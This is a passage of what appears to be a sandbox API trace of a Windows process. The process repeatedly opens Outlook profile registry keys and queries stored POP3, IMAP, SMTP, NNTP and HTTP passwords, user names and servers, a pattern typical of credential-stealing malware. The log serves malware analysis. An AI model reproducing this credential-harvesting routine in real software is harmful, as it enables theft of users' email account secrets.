lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.183] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.183] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.183] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.183] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.183] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.184] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.184] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.184] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.184] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.184] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.184] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.184] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.184] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.184] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.184] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.184] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.184] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.184] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.184] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.184] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.184] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.184] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.184] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.184] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.185] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.185] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.185] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.185] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.185] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.185] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.185] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.185] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.185] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.185] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.185] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", ulOptions=0x0, samDesired=0x101, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.185] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.185] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.185] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\189cba75c69c634996739bac92103ebb", phkResult=0x54deca0 | out: phkResult=0x54deca0*=0x6f8) returned 0x0 [0096.185] RegEnumKeyExA (in: hKey=0x6f8, dwIndex=0x0, lpName=0x54decb0, lpcchName=0x54df4d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x54df4d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0096.185] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.185] LocalFree (hMem=0x28e7670) returned 0x0 [0096.185] RegEnumKeyExA (in: hKey=0x368, dwIndex=0x3, lpName=0x54df510, lpcchName=0x54dfd38, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="1a8bd43e654f65418fbafadeef063a57", lpcchName=0x54dfd38, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0096.185] lstrlenA (lpString="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook") returned 55 [0096.185] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x28e7670 [0096.186] wsprintfA (in: param_1=0x28e7670, param_2="%s\\%s" | out: param_1="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57") returned 88 [0096.186] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.186] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.186] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.186] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.186] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.186] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.186] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.186] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.186] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.186] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.186] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.186] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.186] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.186] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.186] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.186] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.187] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.187] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.187] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.187] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.187] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.187] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.187] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.187] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.187] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.187] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.187] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.187] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.187] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.187] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.187] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.187] RegQueryValueExA (in: hKey=0x6f8, lpValueName="Email", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.187] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.188] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.188] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.188] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.188] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.188] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Server URL", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.188] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.188] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.188] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.188] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.188] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.188] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.188] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.188] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.188] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail User Name", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.188] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.188] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.188] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Server", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.189] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.189] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.189] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP User", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.189] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.189] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.189] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.189] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.189] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.189] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.189] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.189] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.189] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.189] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.189] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.189] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTPMail Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.189] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.190] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.190] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password2", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.190] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.190] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.190] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.190] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.190] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.190] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.190] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.190] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.190] RegQueryValueExA (in: hKey=0x6f8, lpValueName="NNTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.190] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.190] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.190] RegQueryValueExA (in: hKey=0x6f8, lpValueName="HTTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.190] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.190] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.190] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Password", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0) returned 0x2 [0096.191] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.191] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.191] RegQueryValueExA (in: hKey=0x6f8, lpValueName="POP3 Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.191] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.191] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.191] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.191] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.191] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x201, phkResult=0x54deb68 | out: phkResult=0x54deb68*=0x6f8) returned 0x0 [0096.191] RegQueryValueExA (in: hKey=0x6f8, lpValueName="IMAP Port", lpReserved=0x0, lpType=0x54deb58, lpData=0x54deb50, lpcbData=0x54deb60*=0x4 | out: lpType=0x54deb58*=0x0, lpData=0x54deb50*=0x0, lpcbData=0x54deb60*=0x4) returned 0x2 [0096.191] RegCloseKey (hKey=0x6f8) returned 0x0 [0096.191] RegOpenKeyExA (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\1a8bd43e654f65418fbafadeef063a57", ulOptions=0x0, samDesired=0x101, phkResult=0x54dead0 | out: phkResult=0x54dead0*=0x6f8) returned 0x0 [0096.191] RegQueryValueExA (in: hKey=0x6f8, lpValueName="SMTP Email Address", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x54deb08*=0x0 | out: lpType=0x0, 